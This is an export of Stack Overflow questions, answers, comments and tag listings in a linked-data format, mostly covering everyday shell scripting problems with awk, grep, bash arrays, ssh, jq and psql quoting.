has body: I am trying to run this: watch -n 0.25 --color "unbuffer iostat -h && ls -lAh ./backup.tar.gz | awk '{ print $5 }'" Now it almost does what it should, except the awk part which seems to be fully ignored. I get the full output of ls instead of just the file size: -rw-r--r-- 1 root root 2,7G Jul 16 17:52 ./backup.tar.gz I assume I need to put apostrophes or so in there and tried around, but couldn't find a solution there. At least not using awk. Thanks!
tagged with: shell
has comment: http://stackoverflow.com/comment/135222357
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135222360

http://stackoverflow.com/comment/135204151
comment on: http://stackoverflow.com/a/76687621
score: 0
has text: @Charles Duffy Did you read the question? we are debating about route binary, we aren't talking about "grep | head | awk" or Wine. I suggested a way to him test the binary and explained about .exe extension. Idk why he use "grep | head | awk", he knows why.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135051609
score: 2
type: Comment
has text: `TrafficMonitor` is a Win32 C++ program that targets the Windows 11 Taskbar with hacks like that, it's pretty gnarly: https://github.com/zhongyang219/TrafficMonitor/blob/master/TrafficMonitor/TaskBarDlgDrawCommon.h
comment on: http://stackoverflow.com/q/76597816
type: QuestionComment

http://stackoverflow.com/q/76609158
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135072327
has title: Is it possible to know how much a process has consumed its STDIN when terminated?
tagged with: linux
has comment: http://stackoverflow.com/comment/135078234
score: 0
type: Question
answer count: 0
tagged with: shell
has body: Suppose that I have a program (only the executable, no source code), an input file for it which consists of several test cases, and another file that consists of the expected output for each test case. At the end of the first run of the program, how can I know how much, i.e. till which position, it has consumed the input file? Is there any commands or utilities on Linux for that purpose?

http://stackoverflow.com/comment/135093412
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76622373
has text: (`\{(?:nvidia|[^}])+?\}` might be even better)

http://stackoverflow.com/comment/135047031
score: 0
comment on: http://stackoverflow.com/a/76593246
type: Comment
has text: for this particular case it looks like the value is base64-encoded but, in general, this regex is broken unless you extend it to handle escaped quotes: `'{"theSecret":"mylovely\"secret\""}` eg. `.*theSecret":"(([^\\"]|\\")*)".*`
type: AnswerComment

http://stackoverflow.com/comment/135082672
comment on: http://stackoverflow.com/q/76616176
type: QuestionComment
has text: please post the output of `file $(type qsub | awk '{print $NF}') ; uname -srv`. Good luck.
type: Comment
score: 0

http://stackoverflow.com/comment/135173798
type: Comment
has text: In zsh, you can type a plain `alias`, to get a list of aliases present at this time. Use this to check what aliases you have here.
comment on: http://stackoverflow.com/q/76638009
type: QuestionComment
score: 0

http://stackoverflow.com/q/76681562
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135193016
has comment: http://stackoverflow.com/comment/135192997
has answer: http://stackoverflow.com/a/76681882
has comment: http://stackoverflow.com/comment/135193128
has comment: http://stackoverflow.com/comment/135193022
answer count: 1
favorite count: 0
downvote count: 1
score: -1
has comment: http://stackoverflow.com/comment/135193012
has comment: http://stackoverflow.com/comment/135192987
has title: how to avoid repetitive symbol from file in Linux shell script and reformat
type: Question
tagged with: shell
has body: I have to format below output in proper format and avoid repetitive string occurrence in shell script as I got below output after using paste command ? $ paste file1 file2 TRADE_DATE:12 Jul 2023 TRADE_DATE:13 Jul 2023 Symbol: AMAZON Symbol: AMAZON Price: 100.50 Price: 100.30 Symbol: TESLA Symbol: TESLA Price: 60.80 Price: 60.50 Desired output like : TRADE_DATE Symbol Price 12 Jul 2023 AMAZON 100.50 12 Jul 2023 TESLA 60.80 13 Jul 2023 AMAZON 100.30 13 Jul 2023 TESLA 60.50
upvote count: 0

http://stackoverflow.com/comment/135027756
score: 0
type: QuestionComment
type: Comment
has text: @Sharpe : if `python` works for you, why not stick with it
comment on: http://stackoverflow.com/q/76581584

http://stackoverflow.com/comment/135226880
type: AnswerComment
has text: Thanks @Ed Morton for your answer. But unfortunately when i used your suggested answers then its not working for me. File from source path till now not converting into `_` character.
score: 0
comment on: http://stackoverflow.com/a/76698259
type: Comment

http://stackoverflow.com/a/76675181
answers question: http://stackoverflow.com/q/76674976
type: Answer
score: 0
has body: Sounds like you shouldn't be using shell arrays for that and instead should be using a text processing tool like awk. I couldn't figure out what exactly you were trying to do in your code or what you wanted to do so here's an awk script called within a shell script that just prints the index and associated value from the array so you can do whatever you like with them: $ cat tst.sh #!/usr/bin/env bash awk ' BEGIN { data["food0"] = "pasta" data["food1"] = "orange" data["drink0"] = "water" data["drink1"] = "juice" for ( idx in data ) { val = data[idx] print "idx=" idx, "val=" val } } ' "${@:--}" $ ./tst.sh idx=drink0 val=water idx=drink1 val=juice idx=food0 val=pasta idx=food1 val=orange Consider also other possibilities for doing whatever it is you're to do with array indices and values, e.g.: $ cat tst.sh #!/usr/bin/env bash awk ' BEGIN { split("food0 food1 drink0 drink1",idxs) split("pasta orange water juice",vals) for ( i in idxs ) { idx = idxs[i] val = vals[i] data[idx] = val } for ( i in idxs ) { printf "idxs[%s]=%s\n", i, idxs[i] } print "" for ( i in vals ) { printf "vals[%s]=%s\n", i, vals[i] } print "" for ( idx in data ) { printf "data[%s]=%s\n", idx, data[idx] } } ' "${@:--}" $ ./tst.sh idxs[1]=food0 idxs[2]=food1 idxs[3]=drink0 idxs[4]=drink1 vals[1]=pasta vals[2]=orange vals[3]=water vals[4]=juice data[drink0]=water data[drink1]=juice data[food0]=pasta data[food1]=orange

http://stackoverflow.com/comment/135078616
has text: Also, should `${alpha[*]}` be `${alpha[i]}`?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76613778

http://stackoverflow.com/a/76579913
has comment: http://stackoverflow.com/comment/135030495
score: 0
answers question: http://stackoverflow.com/q/76579350
has comment: http://stackoverflow.com/comment/135022448
has body: Use the subshell, update the codes in this way: if [[ -n $(ls ${TXT}) ]]; then mv ${TXT} /export/home/jaqst/training/testdir_2 elif [[ -n $(ls ${CSV}) ]]; then mv ${CSV} /export/home/jaqst/training/testdir_3 else echo `date +%d\ %b\ %H:%M` "Job failed, no matching file found" exit 9 fi
type: Answer

http://stackoverflow.com/comment/135205225
type: Comment
comment on: http://stackoverflow.com/q/76682292
score: 1
type: QuestionComment
has text: (I didn't comment on this myself earlier because Constantin got it right; but to expand -- this would be something like `</dev/null sqlplus "$u/$p@sredb1_high" @getdata.sql "${from}" "${to}" | tail +2 > "${workdir}/data.psv"` -- mind, the position of `</dev/null` doesn't matter; you can put it anywhere in the `sqlplus` simple command part of the pipeline).

http://stackoverflow.com/q/76631928
downvote count: 0
score: 1
tagged with: http://stackoverflow.com/tag/r
answer count: 1
favorite count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/76638961
tagged with: rstudio
has title: running Python script using system2() works in R terminal but not RStudio
has body: Given a simple python script, "test.py": from sys import stdout stdout.write("text out") Calling this from the R terminal using system2() works as expected: python <- "C:/Users/username/Anaconda3/envs/general/python.exe" script <- "C:/Users/username/Project Folder/test.py" system2(command = python, args = shQuote(script), stdout = TRUE, stderr = FALSE) # "text out" But running the same code in RStudio returns an empty vector with a non-zero exit warning: system2(command = python, args = shQuote(script), stdout = TRUE, stderr = FALSE) # character(0) # attr(,"status") # [1] 1 # Warning message: # In system2(command = python, args = shQuote(script), stdout = TRUE, : # running command '"C:/Users/username/Anaconda3/envs/general/python.exe" "C:/Users/username/Project Folder/test.py"' had status 1 Additional troubleshooting shows: In Rgui, there's no warning, but also returns just an empty vector. Results are the same if the Python script uses print() or tries writing to disk instead of stdout.write(). Results are the same using system(paste(shQuote(python), shQuote(script))) instead of system2(). Using system2() in RStudio works fine to run a system command or a batch file with arguments -- just not Python scripts. system2("printenv") shows a few env variables set in the R terminal session and not in RStudio; but setting these in RStudio using Sys.setenv() doesn't solve the problem. sessionInfo() shows no obvious differences. The problem persists if RStudio is run with admin permissions. The context for this is that I've never been able to get reticulate to work on my machine, despite periodically trying across several versions of R and RStudio. The problem seems to stem from a system2() call similar to the above in reticulate:::python_config_impl(), which yields the same warning (and subsequently an error).
type: AnsweredQuestion
tagged with: reticulate
type: Question
accepted answer: http://stackoverflow.com/a/76638961
tagged with: shell

http://stackoverflow.com/comment/135038598
comment on: http://stackoverflow.com/q/76590128
score: 0
type: QuestionComment
type: Comment
has text: btw, if input contains json data, better to extract url values with jq and then split each that value into array with IFS=/ (anyway you use some shell with array support), and then use/print the last element of those arrays

http://stackoverflow.com/q/76588508
score: 0
answer count: 0
tagged with: shell
has title: Build curl URl using variables
has comment: http://stackoverflow.com/comment/135036983
tagged with: variables
tagged with: curl
tagged with: for-loop
type: Question
has comment: http://stackoverflow.com/comment/135036309
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135036079
has body: I'm trying to use curl to loop over a list if IDs and send a DELETE to cancel each one I'm getting stuck on injecting the variable into the url for curl to use I'm starting/testing using something simpler to begin with This works fine and outputs the list of IDs in $queued_builds for build in $queued_builds; do echo "$build"; done 230 231 232 233 But if I try to inject/make them part of the URL, it fails (just using echo here to simulate/check the URL value) for build in $queued_builds; do echo "https://www.test.org/$build"; done for build in $queued_builds; do echo "https://www.test.org/$build"\; done for> Can the URL be built in this way? Many thanks

http://stackoverflow.com/comment/135042266
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76591306
has text: Don't run this like a program, you need to source it.

http://stackoverflow.com/a/76656463
has comment: http://stackoverflow.com/comment/135179368
has comment: http://stackoverflow.com/comment/135178597
type: Answer
answers question: http://stackoverflow.com/q/76656017
has body: If you know the actual names of x and y, you can address them directly (setting .x and appending to .y) using this reduce: (reduce data[] as {$x,$y} ({}; .[$x] |= (.x = $x | .y += [$y])))[] { "x": "t", "y": [ [ "a", "b" ], [ "c", "d" ] ] } { "x": "r", "y": [ [ "a", "c" ] ] } Demo Or use a more functional approach, and group_by the common field: [data[]] | group_by(.x)[] | {x: .[0].x, y: map(.y)} { "x": "r", "y": [ [ "a", "c" ] ] } { "x": "t", "y": [ [ "a", "b" ], [ "c", "d" ] ] } Demo
score: 0

http://stackoverflow.com/q/76571308
tagged with: shell
downvote count: 0
score: 1
has body: How to make the completion list always appear in a single column instead of multiple columns (one item per line, no multiple items on one line).
favorite count: 0
tagged with: zsh-completion
type: Question
answer count: 0
has title: ZSH Making the completions list appear in a single column instead of multiple columns
type: UnansweredQuestion
upvote count: 1
tagged with: zsh

http://stackoverflow.com/comment/135208109
has text: @Cyrus I have edited the question with the desired response. I have tried grep and awk as of now.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76690391

http://stackoverflow.com/q/76590128
tagged with: shell
has answer: http://stackoverflow.com/a/76594083
has comment: http://stackoverflow.com/comment/135038369
has comment: http://stackoverflow.com/comment/135038598
tagged with: variables
linked to: http://stackoverflow.com/q/26947813
has title: Add grep results to array or list as separate entries
type: Question
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/135038246
linked to: http://stackoverflow.com/q/54708197
score: 0
has body: I have a similar issue to these cases: Set a grep result into multiple variables Append string on grep multiple results with variable in a single command But I cannot take their solutions and adapt them sufficiently I have a query that returns a list of URLs, the URLs are uniformly formatted and each URL contains a 3 digit number on the end I have copied an example into a file "url": "https://dev.azure.com/example/5121186b-6db9-49f7-8fcd-64e88a5c606d/_apis/build/Builds/238", "url": "https://dev.azure.com/example/5121186b-6db9-49f7-8fcd-64e88a5c606d/_apis/build/Builds/239", "url": "https://dev.azure.com/example/5121186b-6db9-49f7-8fcd-64e88a5c606d/_apis/build/Builds/240", "url": "https://dev.azure.com/example/5121186b-6db9-49f7-8fcd-64e88a5c606d/_apis/build/Builds/241", I am trying to grab the 3 digit build number on the end of each URL This works using this from the command line (grep _apis/build/Builds build.txt | cut -d "/" -f9 | grep -Eo '[0-9]*') 238 239 240 241 However, if I try to capture each value into a variable array (list?) that I can loop over later, it goes wrong queued_builds="$(grep _apis/build/Builds build.txt | cut -d "/" -f9 | grep -Eo '[0-9]*')" If I print the entire $queued_builds array it looks ok? echo "${queued_builds[@]}" 238 239 240 241 But if I print out $queued_builds, it looks like they are all being added as a single item/string with newline characters between them? printf '%q\n' "$queued_builds[@]" 238$'\n'239$'\n'240$'\n'241 If I try to access a specific row/entry, I get individual characters from each string rather than an entire string? echo $queued_builds[1] 2 echo $queued_builds[2] 3 echo $queued_builds[3] 8 etc. I am trying to have each result/line as a var entry, so echo $queued_builds[1] 238 echo $queued_builds[2] 239 echo $queued_builds[3] 240 etc. I need this as I later want to loop over each build ID using something like: for build in ${queued_builds[@]}; do echo "https://dev.azure.com/${organization}/${project}/_apis/build/b…
tagged with: arrays
tagged with: grep

http://stackoverflow.com/comment/135249584
comment on: http://stackoverflow.com/a/76698259
has text: Thanks @Ed Morton, If i want to skip these type o files with space then how to do it ? Using exceptional handling.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135150618
has text: (A Docker container is already an isolated environment separate from any other Python installation, so a common practice is to not use a virtual environment at all; just `RUN pip install ...` into the "system" Python. One approach here could be to just remove the virtual-environment setup entirely.)
comment on: http://stackoverflow.com/q/76656090
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134971077
comment on: http://stackoverflow.com/q/76551148
type: Comment
has text: I would validate the number to be in range, but then use `grep -q $input /etc/password` to see if the number is already in use (maybe `awk` focusing on the particular `$1...$9` field used). Good luck.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135218031
has text: this just put the index of data array in another array content... that's i wanted
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76674977

http://stackoverflow.com/comment/135098612
type: QuestionComment
type: Comment
has text: @shellter: For the example data, this would not make the variables **environment** variables.
score: 0
comment on: http://stackoverflow.com/q/76624545

http://stackoverflow.com/comment/135078234
has text: Simplest would be for the program to count data as you read.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76609158

http://stackoverflow.com/comment/135038369
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76590128
has text: `queued_builds=($(grep _apis/build/Builds build.txt | cut -d "/" -f9 | grep -Eo '[0-9]*'))` gives 4 with `echo ${#queued_builds[@]}` in bash for the example above
type: QuestionComment

http://stackoverflow.com/a/76718340
score: 0
has body: Summarize @Dai and @Simon Mourier 's comments. Desk bands are not supported as of Windows 7. The applications being working are to hack the taskbar such as https://github.com/zhongyang219/TrafficMonitor mentioned in the comments. You may send feedback to Microsoft with the Feedback Hub app for a reliable formal example.
type: Answer
answers question: http://stackoverflow.com/q/76597816
accepted answer of: http://stackoverflow.com/q/76597816
type: AcceptedAnswer

http://stackoverflow.com/q/76702711
score: 0
type: Question
tagged with: shell
tagged with: linux
has title: Delete the above line and replace it with other line after the condition become true
has answer: http://stackoverflow.com/a/76702834
answer count: 1
type: AnsweredQuestion
has body: Please go through the below coding and clarify. read -p "Enter the ip address: " ip echo -e "\e[5mpinging...\e[25m" ping -c 1 $ip &> /dev/null>1 if [ $? -eq 0 ] then echo -e "\e[1;93m$ip\e[1;39m is reachable" else echo -e "\e[1;91m$ip\e[1;39m is not reachable" fi When the above coding is executes, I need the program to wait 3 seconds, then say "IP_ADDR is reachable" also I need to replace the text "pinging..." to "completed" upon execution. current output:when the above script is executed needed output:should replace the word "pinging..." with "completed"
accepted answer: http://stackoverflow.com/a/76702834
tagged with: ubuntu-22.04

http://stackoverflow.com/q/76633671
score: 0
has comment: http://stackoverflow.com/comment/135115916
type: Question
has title: Avoiding while loop in a shell script
tagged with: shell
has comment: http://stackoverflow.com/comment/135112226
accepted answer: http://stackoverflow.com/a/76634076
has comment: http://stackoverflow.com/comment/135112383
has comment: http://stackoverflow.com/comment/135112370
tagged with: awk
has answer: http://stackoverflow.com/a/76634076
has comment: http://stackoverflow.com/comment/135112408
has comment: http://stackoverflow.com/comment/135112243
type: AnsweredQuestion
has body: I have a data file with 10 minute interval. However the minute and hour information are not correctly written. Also the hour needs to be added by 3 hours. My file is quite long with 2 years of data. My script is reading each line one by one through a while loop. So it is taking a lot of time. I would like to avoid the while loop to execute it quickly. #!/bin/sh #---------------------------- #INPUT FILE #1st col: Year, 2nd: Month, 3rd: Day, 4th: hour, 5&6th: Value of A and B cat << EOF > ifile.txt 17 01 01 00 3.3 -6.06 17 01 01 00 2.3 -7.8 17 01 01 00 3.13 -7.9 17 01 01 00 4.3 -8.0 17 01 01 00 4.4 -8.1 17 01 01 00 4.4 -8.1 17 01 01 00 1.8 -8.2 17 01 01 00 1.8 -8.2 17 01 01 00 6.3 -8.1 17 01 01 00 1.8 -8.2 17 01 01 00 1.8 -8.2 17 01 01 00 6.3 -8.1 17 01 01 00 1.2 -8.1 17 01 01 00 2.1 -8.0 17 01 01 00 2.0 -8.0 17 01 01 00 7.9 -8.0 EOF #--------------------------------- # DESIRED OUTPUT cat << EOF > ofile.txt YY,MM,DD,HH,MIN,A,B, 17,01,01,03,00,3.3,-6.06, 17,01,01,03,10,2.3,-7.8, 17,01,01,03,20,3.13,-7.9, 17,01,01,03,30,4.3,-8.0, 17,01,01,03,40,4.4,-8.1, 17,01,01,03,50,4.4,-8.1, 17,01,01,04,00,1.8,-8.2, 17,01,01,04,10,1.8,-8.2, 17,01,01,04,20,6.3,-8.1, 17,01,01,04,30,1.8,-8.2, 17,01,01,04,40,1.8,-8.2, 17,01,01,04,50,6.3,-8.1, 17,01,01,05,00,1.2,-8.1, 17,01,01,05,10,2.1,-8.0, 17,01,01,05,20,2.0,-8.0, 17,01,01,05,30,7.9,-8.0, EOF #--------------------------------------- #My Script cat << EOF > ofile.txt YY,MM,DD,HH,MIN,A,B, EOF add_hr=3 add_min=00 n1=1 n2=$(wc -l < ifile.txt) while [ $n1 -le $n2 ] do datetime="20170101 0000" timestamp=$(date -d "$datetime" +%s) new_timestamp=$((timestamp + add_hr * 3600 + add_min * 60)) new_datetime=$(date -d @$new_timestamp +"%Y%m%d%H%M") DATE=$(echo "$new_datetime" | awk '{print substr($0,1,8)}') YY=$(echo "${DATE}" | awk '{print substr($0,3,2)}') MM=`date -d "${DATE}" "+%m"` DD=`date -d "${DATE}" "+%d"` HH=$(echo "$new_datetime" | awk '{print substr($0,9,2)}') Min=$(echo "$new_datetime" | awk '{print substr($0,11,2)}') A=$(awk 'NR=='$n…
answer count: 1
has comment: http://stackoverflow.com/comment/135112317

http://stackoverflow.com/q/76560632
score: 0
has title: PostgreSQL psql -c SQL statement Where clause Single Quote Issue
answer count: 0
linked to: http://stackoverflow.com/q/1250079
tagged with: shell
has comment: http://stackoverflow.com/comment/134987753
tagged with: postgresql
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/134987210
has comment: http://stackoverflow.com/comment/134987739
duplicate of: http://stackoverflow.com/q/1250079
has body: Table data: sno name trans_date 1 Jon 2023-01-01 2 Sam 2023-01-02 I am trying to run a Postgresql SQL statement via psql -c. Statement looks like this psql -c 'Select 1 from test_tab where trans_date = ''2023-01-01'' ' also same results for this statement: psql -c 'select 1 from test_tab where name = ''Jon'' ' I get results of same statememt when running in Dbeaver but in Shell terminal I get (0 rows). It seems like the issue is with single quote and I can't find any solution online. If I compare numbers it works, only issues is with characters and dates.
tagged with: psql
has comment: http://stackoverflow.com/comment/134987234
has comment: http://stackoverflow.com/comment/134987721
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/134987277
has comment: http://stackoverflow.com/comment/134987387
has comment: http://stackoverflow.com/comment/134987803
duplicate of: http://stackoverflow.com/q/8254120

glob
tags question: http://stackoverflow.com/q/76694527
type: Tag
tag name: glob
tags question: http://stackoverflow.com/q/76944076
tags question: http://stackoverflow.com/q/77302206
tags question: http://stackoverflow.com/q/77451371
tags question: http://stackoverflow.com/q/77541532
tags question: http://stackoverflow.com/q/77839707
tags question: http://stackoverflow.com/q/78041861
tags question: http://stackoverflow.com/q/78439754
tags question: http://stackoverflow.com/q/78361035
tags question: http://stackoverflow.com/q/78973756
tags question: http://stackoverflow.com/q/79281657
tags question: http://stackoverflow.com/q/79486990

http://stackoverflow.com/comment/135182196
score: 0
comment on: http://stackoverflow.com/a/76674977
type: Comment
type: AnswerComment
has text: this doesn't create an array; this repeatedly overwrites the value in the variable `dataindex`; after the `for` loop add `typteset -p dataindex` to see what it contains

http://stackoverflow.com/comment/135182215
comment on: http://stackoverflow.com/q/76674976
type: QuestionComment
type: Comment
has text: Please [edit] your question to explain what "I would like to increment just the index of array data in to another array." means and show concise, testable sample input and expected output when that occurs.
score: 0

http://stackoverflow.com/comment/135206926
score: 0
type: Comment
has text: Thank you, I was able to get the desired output.
comment on: http://stackoverflow.com/q/76689787
type: QuestionComment

http://stackoverflow.com/comment/135165086
type: Comment
score: 3
comment on: http://stackoverflow.com/q/76664368
type: QuestionComment
has text: Redirect the output to a file instead of `/dev/null` so you can see why it's failing.

http://stackoverflow.com/comment/135230485
comment on: http://stackoverflow.com/q/76703900
score: 1
type: QuestionComment
type: Comment
has text: Why do you want to use `source` ?

performance
tags question: http://stackoverflow.com/q/76645134
tag name: performance
tags question: http://stackoverflow.com/q/76705835
type: Tag
tags question: http://stackoverflow.com/q/76855754
tags question: http://stackoverflow.com/q/77511100
tags question: http://stackoverflow.com/q/77638608
tags question: http://stackoverflow.com/q/78461484
tags question: http://stackoverflow.com/q/78511179

http://stackoverflow.com/comment/135055932
has text: This answer may help: https://stackoverflow.com/a/70464116/596285
score: 1
comment on: http://stackoverflow.com/q/76578643
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134971602
score: 0
type: QuestionComment
type: Comment
has text: @j_b yes, missed double quote, edited , thanks
comment on: http://stackoverflow.com/q/76551148

http://stackoverflow.com/comment/135051741
score: 1
type: QuestionComment
type: Comment
has text: @GordonDavisson you mean `ssh` not `sed`
comment on: http://stackoverflow.com/q/76597912

http://stackoverflow.com/comment/134993075
has text: Why don't you make _the script_ exit when it _prints "script dead"_?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76561501
score: 0

git
tags question: http://stackoverflow.com/q/76575777
tag name: git
tags question: http://stackoverflow.com/q/76631087
type: Tag
tags question: http://stackoverflow.com/q/76602195
tags question: http://stackoverflow.com/q/76657149
tags question: http://stackoverflow.com/q/76583869
tags question: http://stackoverflow.com/q/76692290
tags question: http://stackoverflow.com/q/76872375
tags question: http://stackoverflow.com/q/76864756
tags question: http://stackoverflow.com/q/76761977
tags question: http://stackoverflow.com/q/76992379
tags question: http://stackoverflow.com/q/77233116
tags question: http://stackoverflow.com/q/77175255
tags question: http://stackoverflow.com/q/77133895
tags question: http://stackoverflow.com/q/77348599
tags question: http://stackoverflow.com/q/77254759
tags question: http://stackoverflow.com/q/77316786
tags question: http://stackoverflow.com/q/77342098
tags question: http://stackoverflow.com/q/77516345
tags question: http://stackoverflow.com/q/77495885
tags question: http://stackoverflow.com/q/77719390
tags question: http://stackoverflow.com/q/77628616
tags question: http://stackoverflow.com/q/77840195
tags question: http://stackoverflow.com/q/77878115
tags question: http://stackoverflow.com/q/77829093
tags question: http://stackoverflow.com/q/78081133
tags question: http://stackoverflow.com/q/78124282
tags question: http://stackoverflow.com/q/78044331
tags question: http://stackoverflow.com/q/78064844
tags question: http://stackoverflow.com/q/78061133
tags question: http://stackoverflow.com/q/78002937
tags question: http://stackoverflow.com/q/78097244
tags question: http://stackoverflow.com/q/78181978
tags question: http://stackoverflow.com/q/78255373
tags question: http://stackoverflow.com/q/78199094
tags question: http://stackoverflow.com/q/78227617
tags question: http://stackoverflow.com/q/78382243
tags question: http://stackoverflow.com/q/78400135
tags question: http://stackoverflow.com/q/78571514
tags question: http://stackoverflow.com/q/78736578
tags question: http://stackoverflow.com/q/78642359
tags question: http://stackoverflow.com/q/78867020
tags question: http://stackoverflow.com/q/78848478
tags question: http://stackoverflow.com/q/79040434
tags question: http://stackoverflow.com/q/78921080
tags question: http://stackoverflow.com/q/79224687
tags question: http://stackoverflow.com/q/79148342
tags question: http://stackoverflow.com/q/79110060
tags question: http://stackoverflow.com/q/79106748
tags question: http://stackoverflow.com/q/79283155
tags question: http://stackoverflow.com/q/79278284
tags question: http://stackoverflow.com/q/79521128
tags question: http://stackoverflow.com/q/79530445
tags question: http://stackoverflow.com/q/79467213
tags question: http://stackoverflow.com/q/79524104

http://stackoverflow.com/comment/135082681
comment on: http://stackoverflow.com/q/76616176
type: QuestionComment
has text: No idea what `qsub` is, but it sounds like it splits the argument to `-v` on comma. Does its documentation say anything about how to escape them in that argument so they're treated literally?
type: Comment
score: 0

http://stackoverflow.com/comment/135227978
type: Comment
has text: *"I do not have admin rights to install a newer interpreter"* You do not need admin rights to install a newer Python version, though it might not be straight forward.
comment on: http://stackoverflow.com/q/76702391
type: QuestionComment
score: 0

http://stackoverflow.com/comment/134984235
type: Comment
comment on: http://stackoverflow.com/q/76558797
score: 0
has text: If you run `time read ...` the `real` output line will tell you how long it took the `read` to complete. `time` is a Bash built-in command.
type: QuestionComment

http://stackoverflow.com/q/76663609
score: 0
has comment: http://stackoverflow.com/comment/135163174
has body: I encountered a strange problem when using ssh to execute commands on a remote host. Assuming hostname returns hostA on hostA, hostname returns hostB on hostB, and so on. Guess what the following command will return? ssh -A -t userA@hostA ssh -A -tt userB@hostB "hostname;hostname;hostname" I originally thought it would be: hostB hostB hostB But the actual result is: hostB Connection to hostB closed. hostA hostA An even more complex example is: ssh -A -t userA@hostA ssh -A -t userB@hostB ssh -A -tt userC@hostC \ "hostname \''&&'\' hostname '&&' hostname '&&' hostname && hostname && hostname" And it actually returns: hostC hostC Connection to hostC closed. hostB hostB Connection to hostB closed. hostA hostA Connection to hostA closed. I want to know how the above commands are parsed or interpreted by the shell or SSH. Can someone explain step by step how the commands are executed?
tagged with: shell
has comment: http://stackoverflow.com/comment/135163169
linked to: http://stackoverflow.com/q/51547753
answer count: 1
has comment: http://stackoverflow.com/comment/135163134
duplicate of: http://stackoverflow.com/q/51547753
duplicate of: http://stackoverflow.com/q/45308395
tagged with: ssh
has title: Strange behavior when executing remote commands with nested SSH
tagged with: bash
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135163223
has answer: http://stackoverflow.com/a/76663827

http://stackoverflow.com/q/76631662
type: Question
has title: What does --force-queryable flag mean in adb install?
downvote count: 0
type: UnansweredQuestion
favorite count: 0
score: 2
upvote count: 2
tagged with: android
answer count: 1
tagged with: shell
tagged with: installation
has answer: http://stackoverflow.com/a/77593809
tagged with: adb
has body: I'm looking at this documentation to understand how to use the androidx.test.services package, and I was wondering if anybody would happen to know what the --force-queryable flag meant in the following lines FORCE_QUERYABLE_OPTION="" if $DEVICE_API_LEVEL -ge 30 ; then FORCE_QUERYABLE_OPTION="--force-queryable" fi ... # Install the test orchestrator. adb install $FORCE_QUERYABLE_OPTION -r path/to/m2repository/androidx/test/orchestrator/1.4.2/orchestrator-1.4.2.apk # Install test services. adb install $FORCE_QUERYABLE_OPTION -r path/to/m2repository/androidx/test/services/test-services/1.4.2/test-services-1.4.2.apk Any information would be greatly appreciated. Thanks! I've looked at documentation for the command line and online, but I couldn't find much information.

http://stackoverflow.com/a/76594083
type: Answer
downvote count: 0
has body: Here's a solution using SED : declare -a queued_builds queued_builds=( $(sed -e '/_apis\/build\/Builds/!d' -e 's/^.\+\/\([0-9]\{3\}\)",$/\1/' build.txt) ) length="${#queued_builds[@]}" echo "there are $length elements in queued_builds" for ((i = 0; i < $length; ++i )) do echo "element $i: ${queued_builds[$i]}" done Output: there are 4 elements in queued_builds element 0: 238 element 1: 239 element 2: 240 element 3: 241 Hope that helps.
answers question: http://stackoverflow.com/q/76590128
score: 1
upvote count: 1

http://stackoverflow.com/comment/135150053
comment on: http://stackoverflow.com/q/76655946
has text: Did your instructions mention anything about the feasibility of doing this on Windows?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135108888
type: Comment
has text: If your version of `base64` splits long output into lines, `echo $msg_enc` will effectively turn the line breaks into spaces, causing a decode error. Use `echo "$msg_enc"` to preserve the newlines, which'd mean using something like `enc_cmd=" <(echo \"\$msg_enc\" | base64 -d -)"`
comment on: http://stackoverflow.com/q/76631657
score: 1
type: QuestionComment

regex
tags question: http://stackoverflow.com/q/76675675
tag name: regex
tags question: http://stackoverflow.com/q/76593228
type: Tag
tags question: http://stackoverflow.com/q/76809700
tags question: http://stackoverflow.com/q/76986443
tags question: http://stackoverflow.com/q/76901704
tags question: http://stackoverflow.com/q/77319800
tags question: http://stackoverflow.com/q/77341329
tags question: http://stackoverflow.com/q/77513302
tags question: http://stackoverflow.com/q/77878432
tags question: http://stackoverflow.com/q/78029247
tags question: http://stackoverflow.com/q/78118594
tags question: http://stackoverflow.com/q/78278018
tags question: http://stackoverflow.com/q/78185284
tags question: http://stackoverflow.com/q/78233420
tags question: http://stackoverflow.com/q/78534383
tags question: http://stackoverflow.com/q/78708056
tags question: http://stackoverflow.com/q/78700014
tags question: http://stackoverflow.com/q/78839799
tags question: http://stackoverflow.com/q/78956815
tags question: http://stackoverflow.com/q/79281657

http://stackoverflow.com/q/76633273
answer count: 0
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135124872
tagged with: command-line
has comment: http://stackoverflow.com/comment/135120368
type: Question
tagged with: php
has comment: http://stackoverflow.com/comment/135111371
has body: I have a shell commandline call that needs a PHP script with an inline argument inputted to it via this method in laravel tinker; php7.1 artisan tinker &lt; phpscript.php 50000 Problem is that when executed, it's returning an error; PHP Warning: include(50000): failed to open stream: No such file or directory in /vol/code/prod/cep/vendor/psy/psysh/src/ExecutionLoop.php on line 48 If I run the PHP script alone with the arg...it is able to see the 50000 as $argv[1]. Anyone know how I can do this same thing via the above expressed method?
has comment: http://stackoverflow.com/comment/135112741
has comment: http://stackoverflow.com/comment/135149416
has title: Redirect PHP script with argument to shell command line
score: 0

http://stackoverflow.com/a/76690785
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76690391
